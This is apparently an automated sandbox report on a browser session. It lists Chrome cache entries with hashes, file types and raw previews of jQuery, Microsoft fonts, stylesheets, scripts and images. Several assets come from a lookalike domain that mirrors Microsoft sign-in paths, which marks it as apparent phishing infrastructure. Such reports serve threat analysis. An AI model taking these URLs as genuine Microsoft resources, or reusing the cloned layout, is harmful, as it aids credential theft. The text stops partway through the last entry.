Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 379
Category:	downloaded
Size (bytes):	254
Entropy (8bit):	7.066074991728423
Encrypted:	false
SSDEEP:	6:XtS8G99k8e6my4IIFqXUJ59lDFCnhUGlZX8My/dOtrE:XAH99kRX1YQBDFCnDXdWYtrE
MD5:	847A4212B99B9076EE39328B24CD30AF
SHA1:	73F15078CF1D396485F644A79B6E25EF0637685D
SHA-256:	29DC0C26C372805325EB7EB926769E832A60B47BEF96A66436EC3EC05CD6128E
SHA-512:	9AF77E9ED8BD9A39A47F36AAC2D01B5AF5D56C04CD933427DF95CC80904D7EE7AC3F7F9443D8AEF236CC84FB4DC4CC335AF0BF8F9BC0C13D720187096D149220
Malicious:	false
Reputation:	low
URL:	https://6knvejjuzh3.scrdata-doc.cfd/aadcdn.msauth.net/~/shared/1.0/content/images/picker_account_msa_2d8f86059be176833897099ee6ddedeb.svg
Preview:	..........mP.n. ...D.xY0.\..{. 7...y.F!.....T..Y.Y..n...q^.[O}..w.SJ.j..3.....%)....x.f.K}..}\.=E.D....!.n.......Ma..G.=+.%.w..WX...9.A...........X...V...bOB&2.H....15{.fT...V-.#..m..f...V2<...~....l%4.....Ie.TL69.....vW.....v.3.v.O..}..{...

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 41280, version 0.0
Category:	downloaded
Size (bytes):	41280
Entropy (8bit):	7.99148680813376
Encrypted:	true
SSDEEP:	768:p6DwF7RdgMRl+TIRNdEwkoGy4q0vcZ7xaRefiwsoGuTs1txGTeG:p6DwF7PRl+TkvEYuGZdEefi6GuTo/eN
MD5:	E8EA6DC81AB52C7D6124E89EBCAC926A
SHA1:	B7BF79D3D738B06DFE9E567FEEE25D9B983135BB
SHA-256:	1EE846986FBF0BFC9F0996F563D748589A32B29AF6A6E444312C5A4DA27504C1
SHA-512:	B25A7582B9FB6A146AA927BEBC91D4F34B1820017C75DCC3DAFA8ACE22547579E3AAD82788C89C2F373330F71F970500BCDEE7C520C1A791F374A4E8DD5E3396
Malicious:	false
Reputation:	low
URL:	https://i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.woff
Preview:	wOFF.......@.......H........................OS/2...D...Z...`J..\|cmap............."<.cvt ..........."..].fpgm...........\ID.ggasp...L...........#glyf...\...O.....k.head.......6...6..T2hhea.......!...$.z.8hmtx............c!.Dloca...............Pmaxp....... ... .6.fname..............>.post........... .Q.wprep.......h...@....x.c`f.g......:....Q.B3_dHc..`e.feb.B&....e...'.(..VP`p`......@F^.ELL....Ar,.......3.9f....x.e.}L.U..?.."i.\4.5..(.....6..--.Z[[j)) ... . jR....F.VF..7....a.VTj.....[......ta..}.9;....~.~....^......I$.j.>...a...5^...'...)_..D.S.....Lqf8...g.S..r.8..3.@`H`{`_........&..~&.&.d..f..2.M.t.7.Mr{.)n?7...Nts...-.......o..0..KwM..j.Fk....<..5]E.PU.'...N.....O..1..ncb<c,O...d...'/.Ct..<.u.....&....!..~.].v....~..Gx7.V.w.k..{...I{9....h~.....'.Y.....H....T.7....@.]..pi87...u...Up.....f..AA.{.Y.."v^aU.uj..5......Q..is.M.ns.....6.y.Uz...F-u.......yUb%.4O..6.2.8.R6...h.:o.>.9...d....a...C\|...r.....w\|........H!...+..<..e.%..G).Y.B.XD9..H./P...X.v.d..

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1245), with no line terminators
Category:	downloaded
Size (bytes):	1245
Entropy (8bit):	5.037356170002841
Encrypted:	false
SSDEEP:	24:Ekd1Tk97hn5ZoK2kTL01MCJZ4ZVaeao1DphsILHJNM2WXgEXgf0Xgm:9da7d5d8pJZ4+BWIIPLQ73/
MD5:	108A4DAFB6208F11604033C769DD54DE
SHA1:	C636880762B6EF08C858AADF0B0423B3375C4D18
SHA-256:	B45282310AA60BE4271B36993FF203791B9FD961F1C59B6D59E02E8A2082EE38
SHA-512:	2284518E03CD266F7F4CC0FCF78EE86ABED4D7B118296A258807176697E0336E7287840406A64B067DFA0BE1F61FCC175E43906621AA51290DB174F7DAE2B906
Malicious:	false
Reputation:	low
URL:	https://c.s-microsoft.com/en-us/CMSStyles/style.csx?k=b38e7b38-f2bd-90bd-16b5-45a457a50550
Preview:	.div_heading_OnePSTemplete h2{font-size:26px;margin-top:0}.psp-expand-all{border:1px solid transparent}body{min-width:280px !important}a:not(.c-uhf-nav-link):not(.c-uhff-link):not(.c-cat-logo){word-wrap:break-word;color:#006fc9 !important;font-weight:400 !important}body .grid,.body-open .grid,.grid h3,.grid .h3,.grid .header-small,.grid strong,.grid .body-tight-2,.grid h1,.grid .h1,.grid .header-large,.grid .caption{font-family:"Segoe UI"}.grid .row h1,.grid .row h2,.grid .row h3,.header-small label{font-family:wf_segoe-ui_light,wf_segoe-ui_normal,Tahoma,Verdana,Arial,sans-serif}.grid{max-width:1600px !important}.c-uhfh-actions,.c-uhfh-gcontainer-st .all-ms-nav,.glyph-global-nav-button{display:none !important}.shell-header-wrapper,.shell-footer-wrapper,.shell-category-nav,.shell-notification .shell-notification-grid-row{max-width:1180px !important}.PsTitle{font-family:Segoe UI,sans-serif;margin-right:.3em !important;font-size:2em;display:inline-block;vertical-align:top;margin-left:-.02

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32089)
Category:	downloaded
Size (bytes):	92629
Entropy (8bit):	5.303443527492463
Encrypted:	false
SSDEEP:	1536:dnu00HWWaRxkqJg09pYxoxDKMXJrg8hXXO4dK3kyfiLJBhdSZE+I+Qg7rbaN1RUx:ddkWgoBhcZRQgmW42qe
MD5:	397754BA49E9E0CF4E7C190DA78DDA05
SHA1:	AE49E56999D82802727455F0BA83B63ACD90A22B
SHA-256:	C12F6098E641AACA96C60215800F18F5671039AECF812217FAB3C0D152F6ADB4
SHA-512:	8C64754F77507AB2C24A6FC818419B9DD3F0CECCC9065290E41AFDBEE0743F0DA2CB13B2FBB00AFA525C082F1E697CB3FFD76EF9B902CB81D7C41CA1C641DFFB
Malicious:	false
Reputation:	low
URL:	https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js
Preview:	/! jQuery v1.9.1 \| (c) 2005, 2012 jQuery Foundation, Inc. \| jquery.org/license.//@ sourceMappingURL=jquery.min.map./(function(e,t){var n,r,i=typeof t,o=e.document,a=e.location,s=e.jQuery,u=e.$,l={},c=[],p="1.9.1",f=c.concat,d=c.push,h=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=p.trim,b=function(e,t){return new b.fn.init(e,t,r)},x=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,w=/\S+/g,T=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,N=/^(?:(<[\w\W]+>)[^>]\|#([\w-]))$/,C=/^<(\w+)\s\/?>(?:<\/\1>\|)$/,k=/^[\],:{}\s]$/,E=/(?:^\|:\|,)(?:\s\[)+/g,S=/\\(?:["\\\/bfnrt]\|u[\da-fA-F]{4})/g,A=/"[^"\\\r\n]*"\|true\|false\|null\|-?(?:\d+\.\|)\d+(?:[eE][+-]?\d+\|)/g,j=/^-ms-/,D=/-([\da-z])/gi,L=function(e,t){return t.toUpperCase()},H=function(e){(o.addEventListener\|\|"load"===e.type\|\|"complete"===o.readyState)&&(q(),b.ready())},q=function(){o.addEventListener?(o.removeEventListener("DOMContentLoaded",H,!1),e.removeEventListener("load",H,!1)):(o.detachEvent("onreadystatechange",H),e.detachEvent("onload",H)

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, baseline, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	17453
Entropy (8bit):	3.890509953257612
Encrypted:	false
SSDEEP:	192:P7FRTHQpmA3ZkXOL25cYty7l6UWUjMJBSab/vR+yzP:P/cpmgkF5+JWUjMp40P
MD5:	7916A894EBDE7D29C2CC29B267F1299F
SHA1:	78345CA08F9E2C3C2CC9B318950791B349211296
SHA-256:	D8F5AB3E00202FD3B45BE1ACD95D677B137064001E171BC79B06826D98F1E1D3
SHA-512:	2180ABE47FBF76E2E0608AB3A4659C1B7AB027004298D81960DC575CC2E912ECCA8C131C6413EBBF46D2AAA90E392EB00E37AED7A79CDC0AC71BA78D828A84C7
Malicious:	false
Reputation:	low
Preview:	.....Phttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	17453
Entropy (8bit):	3.890509953257612
Encrypted:	false
SSDEEP:	192:P7FRTHQpmA3ZkXOL25cYty7l6UWUjMJBSab/vR+yzP:P/cpmgkF5+JWUjMp40P
MD5:	7916A894EBDE7D29C2CC29B267F1299F
SHA1:	78345CA08F9E2C3C2CC9B318950791B349211296
SHA-256:	D8F5AB3E00202FD3B45BE1ACD95D677B137064001E171BC79B06826D98F1E1D3
SHA-512:	2180ABE47FBF76E2E0608AB3A4659C1B7AB027004298D81960DC575CC2E912ECCA8C131C6413EBBF46D2AAA90E392EB00E37AED7A79CDC0AC71BA78D828A84C7
Malicious:	false
Reputation:	low
URL:	https://6knvejjuzh3.scrdata-doc.cfd/aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg
Preview:	.....Phttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
URL:	https://6knvejjuzh3.scrdata-doc.cfd/aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1378
Category:	dropped
Size (bytes):	628
Entropy (8bit):	7.6610853322771
Encrypted:	false
SSDEEP:	12:X6/EjXb5e1vpPDySPLiDB/3YLZzrlDuLRndk6l3WZi1epo7IyhadSH8Ib1yfuI:X6cP5e3dgYLMk69Ii1epryt/Md
MD5:	6F68E9881DF18F8E251AB57D5786239B
SHA1:	C0F7A01A288752833390FC330995F25488BCE8EC
SHA-256:	B33E30351B2F4EF67D53D2C6DBE189A4D572425037E4F1264A0190DC4A820845
SHA-512:	B33DFF67480DF940FA0565B231E02F26840DCB5135A4A2FF3C310AA062D3D4B456FA9C8C6E2BC59EC76B515EA1B36D574A5701771BCEE7CEE97B99EF60A803C6
Malicious:	false
Reputation:	low
Preview:	..........m.Mo.0.....]%F..6...rX.;..&i..].&HZ...#%...B..4.W$.....>....v8...f....g.O/.3k....ms.o....m...a8.......u..4>.]....r~8...%.....x.m.y].....u.>..7....l.]....i..fC.[O..z.)..r..........g!(.+....4.P9.0@.......R.......^q.I[..7.....Q;...6.N....a.d.%....:...6FE.}.......}s.`LV..Q.U. 8..}..y.&..I..a.\.8%..kgoo.Q6...>.5.8..!.....".t9].v.B) `.G6.V.E\..AJQU.7...J.oS..........@......l.....{.r..KP@......9YD..U......&..:..d......+/...(..:.S_...S......n..z.a...,.,&VB......eJR)...R.H3])>....9O.........KDi.O..#...-?D.1..N.p....h.#.Z.[/..!.h..$..S..Phdqd....}.....E>g..q5..J.T......u.....i.b...

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4, xresolution=62, yresolution=70, resolutionunit=2, software=paint.net 4.2.9], baseline, precision 8, 50x28, components 3
Category:	downloaded
Size (bytes):	987
Entropy (8bit):	6.922003634904799
Encrypted:	false
SSDEEP:	24:PJjxEK0nWpBzo0XxDuLHeOWXG4OZ7DAJuLHenX3D+VRmK9cR+w/b:lxEX4OuERAVwR/QP/b
MD5:	E58AAFC980614A9CD7796BEA7B5EA8F0
SHA1:	D4CAC92DCDE0CAF7C571E6D791101DA94FDBD2CA
SHA-256:	8B34A475187302935336BF43A2BF2A4E0ADB9A1E87953EA51F6FCF0EF52A4A1D
SHA-512:	2DAC06596A11263DF1CFAB03EDA26D0A67B9A4C3BAA6FB6129CDBF0A157C648F5B0F5859B5CA689EFDF80F946BF4D854BA2B2C66877C5CE3897D72148741FCC9
Malicious:	false
Reputation:	low
URL:	https://6knvejjuzh3.scrdata-doc.cfd/aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg
Preview:	......JFIF.....H.H.....fExif..MM..................>...........F.(...........1.........N.......H.......H....paint.net 4.2.9....C....................................................................C.........................................................................2..!............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......[.4..lz.....K.S..p.>.9.r9j..'.\.qrW..mo...X9ZV<./x...EX...m.Prj..A.EtG...K..mr....Lc.T.8...nlY.V.{6...R...]..(.y...)^.5V.IVO.W.B.19.R\...f.U.....'..S:..k.6..).f.n._3*....}.y.8.EusH..y.`.mA...W.}...bL..:..b.<f..(lH#R....v._...........9N~S..

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Category:	downloaded
Size (bytes):	659798
Entropy (8bit):	5.352921769071548
Encrypted:	false
SSDEEP:	12288:nEMsQrWEWbnByixmwgXZewhYcFiG4DUIxo:nEMsJpBJgHKcFQNo
MD5:	9786D38346567E5E93C7D03B06E3EA2D
SHA1:	23EF8C59C5C9AA5290865933B29C9C56AB62E3B0
SHA-256:	263307E3FE285C85CB77CF5BA69092531CE07B7641BF316EF496DCB5733AF76C
SHA-512:	4962CDF483281AB39D339A7DA105A88ADDB9C210C9E36EA5E36611D7135D19FEC8B3C9DBA3E97ABB36D580F194F1860813071FD6CBEDE85D3E88952D099D6805
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7519.22/scripts/boot.worldwide.1.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.1.mouse.js'] = (new Date()).getTime();..;_a.d.G=function(n,t){this.b=n;this.a=t};_a.d.G.prototype={b:0,a:0};_a.fo=function(n){this.s=n};_a.fo.prototype={s:null,t:null,i:function(){return this.s.currentTarget},e:function(){return this.t?this.t.x:this.s.pageX},f:function(){return this.t?this.t.y:this.s.pageY},o:function(){return this.s.relatedTarget},b:function(){return this.s.target},n:function(){return this.s.timeStamp\|\|+new Date},a:function(){var n=this.s.which;!n&&_a.o.a().K&&this.s.type==="keypress"&&(n=this.u());return n},u:function(){return this.s.keyCode},m:function(){return this.s.originalEvent},j:function(){return this.s.type},k:function(){return this.s.originalEvent.touches},q:function(){return this.s.isDefaultPrevented()},g:function(){return this.s.shiftKey},h:function(){return _j.G.a().P?this.s.metaKey:this.s.ctrlKey},l:

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, 14 tables, 1st "OS/2", 10 names, Microsoft, language 0x409, \251 2015 Microsoft Corporation. All Rights Reserved.Segoe UI SemiboldRegularVersion 5.32SegoeUI
Category:	downloaded
Size (bytes):	53000
Entropy (8bit):	6.7186250807847845
Encrypted:	false
SSDEEP:	768:txwAJsFLn9Qfuxwztw9lGITLKsW7NDWJPOLO/m6Ase3qmGdrtmczApfNpNG5Z8aU:DwS2n9Qfu1lG5s3J2xqm6tZ7HVU7
MD5:	DA55103D198C04CF09F4323D8DA3B73B
SHA1:	054E11C3410BAFD7645A3B99472FC24A6DDE662B
SHA-256:	D2123650D2333B3F1983BC28DAA998FBE034B26FA00A43E668374982D37C1D72
SHA-512:	FA9716624AF236476DF569DFFBC5DF6D54759C154C835477E993A830036244523EE34A0966B424622F4D2F5EEE619029D33C6C6198D04BBEC7BE0ABA5B990D8B
Malicious:	false
Reputation:	low
URL:	https://i.s-microsoft.com/fonts/segoe-ui/west-european/semibold/latest.ttf
Preview:	...........`OS/2K..r.......`cmap..<....L....cvt c.e0...h....fpgm.KV....8...5gasp.......p....glyf...$...\|....head...........6hhea...J.......$hmtx............loca.z.@........maxp.N.?....... name!MG....,....post.Q.w....... prep[................X.......3.......3.....f.................#...B........MS .........Q...... .............. ...............................~.........#.+.1.7.>.H.M.P.U.[.e.s.{.~.......;.Y._.k.r...............'.........?.. . . . . " & 0 : D .!"!&"."."."."."."."+"H"`"e%.%....?......... ........."....6.9.A.M.P.R.X.^.j.x.}.......;.Y._.k.r...............'.........?.. . . . . & 0 9 D .!"!&"."."."."."."."+"H"`"d%.%....>...........................................h.............................M....e...n./.I.................x...k.y..l.......u.q.`.0.1........\|.........X.f.......j...n.x...............................................................................................................................K...........................o.p...........q....................

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (31463), with no line terminators
Category:	downloaded
Size (bytes):	31463
Entropy (8bit):	5.335245781249028
Encrypted:	false
SSDEEP:	384:ekorlyEMfQ8sW5hXDi/iE3adOdoIB4mqdRyedRyNWGyIWGyeoQys05DU7uj5hypb:0o1Di5+OOYbsp0yK3FJ12V2+vr/eoq
MD5:	7148585ECACB77E3EC38A7423D557F0A
SHA1:	3F4428AB18D492318AEC5AD51D4BD22B67BC3955
SHA-256:	9AF3C8E1B582FEBECEF2A475989DC02902A772CEFAC1896C9BAAAFD218D2CA04
SHA-512:	82E8B4FF7B55C9D7F4AE010ED2FBCA757547A88D2BB52C8C2E01AC416594B5CFD608260844FEA93501BD3C4B289A5EBA69412B2643A2C6BF01602163FF6F5B46
Malicious:	false
Reputation:	low
URL:	https://c.s-microsoft.com/en-us/CMSScripts/script.jsx?k=08e9f1ba-f4e7-80f5-d4c5-f75b4dc5cf51
Preview:	function ShowSelectedComponentKeyPress(n,t){if(window.event.keyCode==13)return ShowSelectedComponent(n,t),!1}function SetRightSideNavigationMenuHeight(){$("[id^=dvModuleGroup_]").hide();window.location.search.toLowerCase().indexOf("bookmarkid")!=-1&&SelectBookMark();window.location.search.toLowerCase().indexOf("componentid")!=-1&&LoadSelectedInternalLink();$(".div_side_comp").length>0&&$(".div_content").css("min-height",$(".div_side_comp").height()-27)}function ShowSelectedComponent(n,t){var i=$("#"+t).attr("data-parentModule");return i!=undefined&&i!=null&&($("[data-parentmodule="+i+"]").show(),$("#"+i+" [id$=_LongDescription]").length>0?(document.getElementById(i+"_LongDescription").style.display="block",document.getElementById(i+"_ShortDescription").style.display="none",ShowText($("#"+i+".learnMoreLabel"),"long",t)):ShowText($("#"+i+".learnMoreLabel"),"long",t),DisplayTopNavigation(i)),$("html, body").animate({scrollTop:$("#"+t).offset().top-1},800),!1}function ShowToolTip(){var n,i

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42133)
Category:	downloaded
Size (bytes):	138067
Entropy (8bit):	5.225028044529473
Encrypted:	false
SSDEEP:	3072:1f4HuF7pxnISnJ9d1EwgXA7nKRZMK/xw/:1f4Hu1I+kw/
MD5:	B9C3E4320DB870036919F1EE117BDA6E
SHA1:	29B5A9066B5B1F1FE5AFE7EE986E80A49E86606A
SHA-256:	A1FE019388875B696EDB373B51A51C0A8E3BAD52CD489617D042C0722BDB1E48
SHA-512:	A878B55E8C65D880CDF14850BAEE1F82254C797C3284485498368F9128E42DCA46F54D9D92750EEEB547C42CAB9A9823AA9AFAB7D881090EBBFA1135CDD410B6
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/onerfstatics/marketingsites-wcus-prod/shell/_scrf/js/themes=default/d6-d6e6df/89-746ba4/df-3feeb0/f5-14aef8/bd-f5f332/27-13b2c3/e9-07937b/33-b505e5/fa-7a47db/6e-e2d05f/74-0b2d48/88-5b9b75/1b-240b37/4e-8e1a50/c2-370434/6f-bf5d0f/ea-315ddf/2e-e273bf/17-02d9ee/cf-2a93c7/c0-2ffa80/77-785548/48-4f52bb/3c-6c8ad0/3a-0d7cd3/5f-7d882b/c1-621df2/38-e8e647/17-c82a09/85-bd536d/44-776362/f8-86938e/61-951d1b/39-3d9dc2/81-96da47/ec-e44e19/6c-7627b9?ver=2.0&_cf=20210618&iife=1
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (402)
Category:	downloaded
Size (bytes):	262641
Entropy (8bit):	4.9463902181496096
Encrypted:	false
SSDEEP:	3072:u+Vd0pBbqPLYoyjFkxD2hAYwJb8ILm731Ss:u+Vd0DePLYoyjFkxD2hAYwJbZLM31Ss
MD5:	7C593B06759DB6D01614729D206738D6
SHA1:	0D4F76D10944933B8DDECFFE9691081439A77A3C
